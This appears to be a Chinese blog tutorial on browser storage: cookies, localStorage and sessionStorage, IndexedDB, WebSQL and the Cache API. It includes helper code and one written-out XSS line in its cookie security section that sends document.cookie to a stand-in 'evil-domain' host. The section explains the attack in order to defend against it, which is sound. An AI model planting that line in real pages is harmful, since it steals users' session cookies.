在做项目的过程中,经常需要把数据存储在本地,便于提高用户的体验效果等,如权限验证的token、用户信息、数据埋点、客户端皮肤语言配置等等。因此,向总结一篇详细的文章来归纳浏览器的存储技术。
一、前言
首先,看下图谷歌浏览器控制台的 Application 一栏,我们可以发现左侧一列基本涵盖了浏览器的所有存储方式,因此,下面讲针对这一块进行归纳整理。
对浏览器的所有本地存储技术,可以划分为如下图
二、Cookie
1. 介绍
Cookie,也称HTTP Cookie
,是服务器发送到用户浏览器并保存在本地的一小块数据,并在浏览器下次向同一台服务器发起请求时,携带并发送到服务器上。通常,用于告知服务器两个请求是否来自同个浏览器,如用户的登录状态、首选项等。从底层上看,它是HTTP协议的一种扩展实现。
2. 组成结构
[name] [value] [path] [domain] [expires] [secure] [httponly]
[键] [值] [路径] [所属域] [过期时间] [secure flag] [httponly flag]
name=value
是必选项,其它都是可选项
name:一个唯一确定的cookie名称。通常来讲cookie的名称是不区分大小写的。
value:存储在cookie中的字符串值。最好为cookie的name
和value
进行URI编码
path:在指定路径的时候,凡是来自同一服务器,URL里有相同路径的所有页面都可以共享cookie。以字符 %x2F ("/")
作为路径分隔符,子路径也会被匹配。如,Path=/docs
,则docs/test
可以共享使用/docs
页面创建的cookie。
domain:cookie对于哪个域是有效的。所有向该域发送的请求中都会包含这个cookie信息。如果不指定,默认为 origin,不包含子域名。如果设置 Domain=mozilla.org
,则 Cookie 也包含在子域名中(如developer.mozilla.org
)。
expires:失效时间,表示cookie
何时应该被删除的时间戳(也就是,何时应该停止向服务器发送这个cookie
)。如果不设置这个时间戳,浏览器会在页面关闭时即将删除所有cookie
;不过也可以自己设置删除时间。这个值是GMT时间格式,如果客户端和服务器端时间不一致,使用expires
就会存在偏差。
max-age:与expires作用相同,用来告诉浏览器此cookie
多久过期(单位是秒),而不是一个固定的时间点。正常情况下,max-age
的优先级高于expires。
Secure: 安全标志,指定后,只能在HTTPS
连接中被浏览器传递到服务器端进行会话验证,如果是HTTP
连接则不会传递该信息。就算设置了secure
属性也并不代表他人不能看到你机器本地保存的cookie
信息,所以不要把重要信息放cookie
。这项设置通常在服务器端设置。
HttpOnly: 告知浏览器不允许通过脚本document.cookie
去更改这个值,同样这个值在document.cookie
中也不可见。但在http
请求仍然会携带这个cookie
。注意这个值虽然在脚本中不可获取,但仍然在浏览器安装目录中以文件形式存在。这项设置通常在服务器端设置。
SameSite:Cookie
允许服务器要求某个cookie
在跨站请求时不会被发送,从而可以阻止跨站请求伪造攻击(CSRF)。有三个值:None(浏览器会在同站请求、跨站请求下继续发送 cookies,不区分大小写)、Strict(浏览器将只在访问相同站点时发送 cookie)、Lax(与 Strict 类似,但用户从外部站点导航至URL时(例如通过链接)除外。)
3. 生命周期
会话期 Cookie:浏览器关闭后会自动被删除,即仅在会话期有效。会话期Cookie不需要指定过期时间(Expires
)或者有效期(Max-Age
)。
注意:有些浏览器提供恢复会话功能,即关闭浏览器的情况下,会话期的
cookie
仍被保存,这导致cookie
生命周期无限延长。
持久性 Cookie:生命周期取决于过期时间(Expires)或有效期(Max-Age)指定的一段时间。
注意:当Cookie的过期时间被设定时,设定的日期和时间只与客户端相关,而不是服务端。所以当访问了跨时区的服务器时,容易存在误差。
4. 优点
Cookie的API很早定义并实现,所以基本兼容所有的主流浏览器。
5. 缺点
1. 存储容量小。虽然不同浏览器的存储量不同,但基本都在4KB左右。
2. 浪费带宽。因为浏览器每次请求的请求头都会携带cookie,若cookie信息过多时,会影响资源的加载效率,浪费带宽资源。
3. 存储格式限制。只能存储字符串。
4. 安全问题。如果cookie存放着用户的敏感信息且没有加密时,如果cookie被窃取到,攻击者可以利用xss对cookie进行覆盖,盗用用户账号。
5. 用户设置禁用cookie。第三方cookie的滥用,高端用户就会开启禁用cookie,这时候设置cookie前,还需检测用户是否支持cookie,比较麻烦。
6. 操作
cookie主要有三个操作:读取、写入、删除,但是处理起来非常繁琐,因为cookie的key和value都需要使用encodeURIComponent
进行URI编码,所以读取的时候,需要用decodeURIComponent
进行解码。因此,封装成一个操作对象,如下。
对于永久cookie我们用了
Fri, 31 Dec 9999 23:59:59 GMT
作为过期日。如果你不想使用这个日期,可使用世界末日Tue, 19 Jan 2038 03:14:07 GMT
var CookieUtil = {
// 获取cookie值
getItem: function (sKey) {
return (
decodeURIComponent(
document.cookie.replace(
new RegExp(
'(?:(?:^|.*;)\\s*' +
encodeURIComponent(sKey).replace(/[-.+*]/g, '\\$&') +
'\\s*\\=\\s*([^;]*).*$)|^.*$',
),
'$1',
),
) || null
);
},
// 设置cookie
setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) {
if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) {
return false;
}
var sExpires = '';
if (vEnd) {
switch (vEnd.constructor) {
case Number:
sExpires =
vEnd === Infinity ? '; expires=Fri, 31 Dec 9999 23:59:59 GMT' : '; max-age=' + vEnd;
break;
case String:
sExpires = '; expires=' + vEnd;
break;
case Date:
sExpires = '; expires=' + vEnd.toUTCString();
break;
default:
sExpires = '';
}
}
document.cookie =
encodeURIComponent(sKey) +
'=' +
encodeURIComponent(sValue) +
sExpires +
(sDomain ? '; domain=' + sDomain : '') +
(sPath ? '; path=' + sPath : '') +
(bSecure ? '; secure' : '');
return true;
},
// 删除已有cookie
removeItem: function (sKey, sPath, sDomain) {
if (!sKey || !this.hasItem(sKey)) {
return false;
}
document.cookie =
encodeURIComponent(sKey) +
'=; expires=Thu, 01 Jan 1970 00:00:00 GMT' +
(sDomain ? '; domain=' + sDomain : '') +
(sPath ? '; path=' + sPath : '');
return true;
},
// 判断是否存在这个cookie
hasItem: function (sKey) {
return new RegExp(
'(?:^|;\\s*)' + encodeURIComponent(sKey).replace(/[-.+*]/g, '\\$&') + '\\s*\\=',
).test(document.cookie);
},
// 获取所有cookie的key
keys: function () {
var aKeys = document.cookie
.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, '')
.split(/\s*(?:\=[^;]*)?;\s*/);
for (var nIdx = 0; nIdx < aKeys.length; nIdx++) {
aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]);
}
return aKeys;
},
};
7. 安全
会话劫持和XSS
如果攻击者获取到你的cookie信息,只需要在页面添加(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
这句代码,就可以访问到你的信息。
解决方法:通过设置HttpOnly
可一定程度上,缓解此类攻击。
跨站请求伪造CSRF
如果你登陆了你的银行账户并且cookie
还有效,然后你看到一个有意思的危险网站,点击进去,里面刚好有一张图片
,这时候就利用了你的cookie
信息,你以为在加载图片,实际向银行发送了一个转帐的请求。结果就是,你的钱都没了。
解决方法:给敏感信息较短的声明周期;敏感操作要慎重。
cookie防护
- cookie不要存放敏感信息
- 加防篡改验证码,给登录加个随机验证码
- 对cookie加密
- 强制要求开启HTTPS
- 对重要值加
HttpOnly
参考链接
MDN-什么是cookie
MDN-Document.cookie用法
浅谈cookie安全
前端持久化之浏览器存储技术
三、Web Storage
Web Storage
主要由local storage
和session storage
组成,那么,相比cookie,Web Storage
有什么优势呢?
1. 减少网络流量
请求一次数据保存后,可以避免再次向服务器请求数据,减少不必要的请求,并且不必在服务器和浏览器之间来回传递。
2. 快速显示数据
无需等待加载数据,使用缓存立即渲染页面,提高用户体验效果。
3. 存储空间更大
IE8下每个独立的存储空间为10M,其他浏览器实现略有不同,但都比Cookie要大很多。
4. 存储内容不会发送至服务器
Cookie的内容会随请求一并发送给服务器,造成带宽浪费;而web storage
只存储在本地,不会跟服务器有任何交互。
5. 更简单易用的接口
web storage
提供了添加、删除、获取数据的接口。
6. 独立存储空间
每个域(包括子域)有独立的存储空间,各个存储空间是完全独立的,因此不会造成数据混乱。
1. Local Storage
locaStorage
在浏览器端通过键值对存储数据,虽然localStorage只能存储字符串,但它也可以存储字符串化的JSON数据。IE8+支持,每个域名限制5M。
通过localStorage
存储的数据时永久性的,除非我们使用removeItem
来删除或者用户通过设置浏览器配置来删除,否则数据会一直保留在用户的电脑上,永不过期。
localStorage
的作用域只有同源才能互相共享数据,同时也受浏览器的限制。
MDN-window.localStorage用法
2. Session Storage
与local storage
差不多,唯一的区别就是,Session Storage
只存储当前会话页的数据,且只有当用户关闭当前会话页或浏览器时,数据才会被清除,但是用户刷新会话页仍能保存数据。
MDN-window.sessionStorage用法
3. 操作
local storage
和session storage
的API基本差不多,所以可以对其两个进行封装,代码如下,
function createStorage(storage = window.localStorage) {
return {
get: (key) => {
return storage.getItem(key);
},
/**
* 读取一个对象(使用JSON.parse解析)
*/
getObject: (key) => {
const value = storage.getItem(key);
let res;
try {
res = JSON.parse(value);
} catch (e) {
res = {};
}
return res;
},
set: (key, value) => {
storage.setItem(key, value);
},
/**
* 设置一个对象(使用JSON.stringify序列化)
*/
setObject: (key, value) => {
storage.setItem(key, JSON.stringify(value));
},
remove: (key) => {
return storage.removeItem(key);
},
// 移除所有数据
clear: () => {
return storage.clear();
},
};
}
export const localStorage = createStorage(window.localStorage);
export const sessionStorage = createStorage(window.sessionStorage);
四、本地数据库
HTML5 indexedDB
和Web SQL Database
都是本地数据库数据存储。Web SQL Database
数据库要出来的更早,但是从2010年11月18日W3C宣布舍弃Web SQL database
草案开始,就已经注定Web SQL Database
数据库是明日黄花。
IndexedDB
1. 相关概念
IndexedDB
是一种底层 API,用于在客户端存储大量的结构化数据(也包括文件/二进制大型对象(blobs))。该 API 使用索引实现对数据的高性能搜索。
IndexedDB
是一个事务型数据库系统,是一个基于 JavaScript 的面向对象数据库。IndexedDB
允许您存储和检索用键索引的对象;可以存储结构化克隆算法支持的任何对象。您只需要指定数据库模式,打开与数据库的连接,然后检索和更新一系列事务。
IndexedDB
也遵守同源策略。同时,使用 IndexedDB
执行的操作是异步执行的,以免阻塞应用程序。
那么,IndexedDB
数据存储在哪呢?一般是存储在本地磁盘上,浏览器会计算分配给web数据存储的空间大小,当超过空间大小时,则进行删除。其中,数据存储的类型划分为持久化存储(需用户手动删除)和临时存储(超过被分配的空间大小则自动清理)。
你可能会想那它的存储大小限制呢?浏览器的存储限制有两个,分别是全局限制和组限制。全局限制的空间大小取决于你的磁盘空间大小,组限制的空间大小取决于全局限制的20%,但它至少有10 MB,最大为2GB。
何为组限制?例如,mozilla.org、www.mozilla.org和joe.blogs.mozilla.org
可聚合为同组,他们共用同一个组空间。
2. 基本语法
1)打开数据库
var db;
const dbName = 'project';
const version = 1;
// 创建/打开数据库
// dbName 数据库名
// version 版本号,只能是整数
const DBOpenRequest= IndexedDB.open(dbName , version)
DBOpenRequest.onerror = function() {
// 创建数据库失败时的回调函数
}
DBOpenRequest.onsuccess = function() {
// 创建数据库成功时的回调函数
db = DBOpenRequest.result;
}
// 执行于:数据库首次创建版本,或者window.indexedDB.open传递的新版本(版本数值要比现在的高)
DBOpenRequest.onupgradeneededd = function(e) {
// 当数据库改变时的回调函数
// 通常对主键,字段等进行重定义
}
2)创建主键和字段
一般在对数据库增删查改数据之前,我们需要先建表,而IndexedDB
则需要先建存储对象objectStore
。
常用API(具体可查看MDN-IDBObjectStore)
-
objectStore.add()
向数据库添加数据 -
objectStore.delete()
删除数据 -
objectStore.clear()
清空数据库 -
objectStore.put()
可以替换数据
DBOpenRequest.onupgradeneeded = function(event) {
var db = event.target.result;
// 创建一个数据库存储对象
var objectStore = db.createObjectStore(dbName, {
keyPath: 'id',
autoIncrement: true
});
// 定义存储对象的数据项
objectStore.createIndex('id', 'id', {
unique: true
});
objectStore.createIndex('name', 'name');
objectStore.createIndex('begin', 'begin');
objectStore.createIndex('end', 'end');
objectStore.createIndex('person', 'person');
objectStore.createIndex('remark', 'remark');
};
其中,objectStore.createIndex(indexName, keyPath, objectParameters)
-
indexName
:创建的索引名称,可以使用空名称作为索引; -
keyPath
:索引使用的关键路径,可以使用空的keyPath
, 或者keyPath
传为数组keyPath
也是可以的; -
objectParameters
:可选参数。常用参数之一是unique,表示该字段值是否唯一,不能重复。
3)添加数据
前面提过了,IndexedDB
是事务型数据库,所以数据库的操作都是基于事务(transaction)来进行,于是,无论是添加编辑还是删除数据库,我们都要先建立一个事务(transaction),然后才能继续下面的操作。
let transaction = db.transaction([dbName], "readwrite");
// 打开已经存储的数据对象
let objectStore = transaction.objectStore(dbName);
// 添加到数据对象中
let objectStoreRequest = objectStore.add(newItem);
// 添加成功回调函数
objectStoreRequest.onsuccess = function(event) {
....
};
4)编辑数据
原理:先根据id获得对应行的存储对象,方法为objectStore.get(id)
,然后在原存储对象上进行替换,再使用objectStore.put(record)
进行数据库数据替换。
function edit(id, data) {
// 编辑数据
let transaction = db.transaction([dbName], "readwrite");
// 打开已经存储的数据对象
let objectStore = transaction.objectStore(dbName);
// 获取存储的对应键的存储对象
let objectStoreRequest = objectStore.get(id);
// 获取成功后替换当前数据
objectStoreRequest.onsuccess = function(event) {
// 当前数据
let myRecord = objectStoreRequest.result;
// 遍历替换
for (let key in data) {
if (typeof myRecord[key] != 'undefined') {
myRecord[key] = data[key];
}
}
// 更新数据库存储数据
objectStore.put(myRecord);
}
5)删除数据
function (id) {
// 打开已经存储的数据对象
let objectStore = db.transaction([dbName], "readwrite").objectStore(dbName);
// 直接删除
let objectStoreRequest = objectStore.delete(id);
// 删除成功后
objectStoreRequest.onsuccess = function() {
...
};
}
6)数据获取
indexedDB数据库的获取使用“游标API”(Cursor APIs)和“范围API”(Key Range APIs)。
读取全部数据
let objectStore = db.transaction(dbName).objectStore(dbName);
// 使用存储对象的openCursor()打开游标
objectStore.openCursor().onsuccess = function(event) {
let cursor = event.target.result;
if (cursor) {
// cursor.value就是数据对象
console.log(cursor.value);
// 游标没有遍历完,继续
cursor.continue();
} else {
// 如果全部遍历完毕...
}
}
读取某个范围内的数据
// 确定打开的游标的主键范围
// key > x && ≤ y
// 表示id从4~10之间的数据,true的时候不能和范围边界相等,false则需要相等
let keyRangeValue = IDBKeyRange.bound(4, 10, true, false);
let objectStore = db.transaction(dbName).objectStore(dbName);
// 使用存储对象的openCursor()打开游标
objectStore.openCursor(keyRangeValue).onsuccess = function(event) {
let cursor = event.target.result;
if (cursor) {
// cursor.value就是数据对象
console.log(cursor.value);
// 游标没有遍历完,继续
cursor.continue();
} else {
// 如果全部遍历完毕...
}
}
其中,bound()
范围内,only()
仅仅是,lowerBound()
小于某值,upperBound()
大于某值
7)数据库关闭和删除
db.close(); // 关闭数据库连接
window.indexedDB.deleteDatabase(dbName); // 删除数据库
3. 局限性
1)存储限制
indexedDB存储比较适合键值对较多的数据,且无需数据转换;web Storage
每次写入和写出都要字符串化和对象化。
2)兼容性
indexedDB
存储IE10+支持,web Storage
存储IE8+支持,后者兼容性更好。
3)扩展性
indexedDB
存储可以在workers
中使用,便于进行PWA开发,但是web Storage
好像不行。
Web SQL
都废弃了,没啥好学的,下面内容可以跳过...
indexedDB
和Web SQL Database
对比内容:
WebSQL | IndexedDB | |
---|---|---|
优点 | 真正意义上的关系型数据库,类似SQLite(SQLite是遵守ACID的轻型的关系型数据库管理系统) | 1. 允许对象的快速索引和搜索,因此在Web应用程序场景中,您可以非常快速地管理数据以及读取/写入数据。2. 由于是NoSQL数据库,因此我们可以根据实际需求设定我们的JavaScript对象和索引。3. 在异步模式下工作,每个事务具有适度的粒状锁。这允许您在JavaScript的事件驱动模块内工作。 |
不足 | 规范不支持啦;由于使用SQL语言,因此我们需要掌握和转换我们的JavaScript对象为对应的查询语句;非对象驱动。 | 如果你的世界观里面只有关系型数据库,恐怕不太容易理解。 |
位置 | 包含行和列的表。 | 包含JavaScript对象和键的存储对象。 |
查询机制 | SQL | Cursor APIs,Key Range APIs,应用程序代码 |
事务 | 锁可以发生在数据库,表,行的“读写”时候。 | 锁可以发生在数据库版本变更事务,或是存储对象“只读”和“读写”事务时候。 |
事务提交 | 事务创建是显式的。默认是回滚,除非我们调用提交。 | 事务创建是显式的。默认是提交,除非我们调用中止或有一个错误没有被捕获。 |
参考链接
HTML5 indexedDB前端本地存储数据库实例教程
MDN-IndexedDB
MDN-IndexedDB 浏览器存储限制和清理标准
五、Cache API
这是一个实验中的功能,目前暂时只有chrome和Firefox浏览器部分支持,其他浏览器还不太行,所以不在这里做过多扩展说明,想了解可以看这个链接MDN-Cache。
六、其他
1)Manifest
Web应用程序清单在一个JSON文本文件中提供有关应用程序的信息(如名称,作者,图标和描述),是渐进式Web应用程序(PWA)的Web技术集合的一部分。manifest 的目的是将Web应用程序安装到设备的主屏幕,为用户提供更快的访问和更丰富的体验。
部署到HTML页面的方式,在文件头添加一个链接
具体使用参数请参考manifest参数
2)Application Cache:通过manifest
配置文件在本地有选择性地存储javascript
、css
、图片等静态资源文件的文件缓存机制,已废弃。
3)Cache Storage:在ServiceWorker
规范中定义的,用于保存每个ServiceWorker
(声明的Cache
对象,未来可能替代Application Cache
的离线方案。 之后,会整理一篇关于ServiceWorker
的文章。
4)Flash缓存:主要基于Flash,具有读写浏览器本地目录的功能。
七、适用场景
Web Storage
:如果是浏览器主窗体线程开发,同时存储数据结构简单;
IndexedDB
:如果数据结构比较复杂,同时对浏览器兼容性没什么要求,可以考虑使用indexedDB
;如果是在Service Workers
中开发应用,只能使用indexedDB数据存储。
参考链接
MDN-客户端存储
MDN-manifest
chrome-devtools的浏览器存储
聊一聊常见的浏览器端数据存储方案
突破本地离线存储5M限制的JS库localforage简介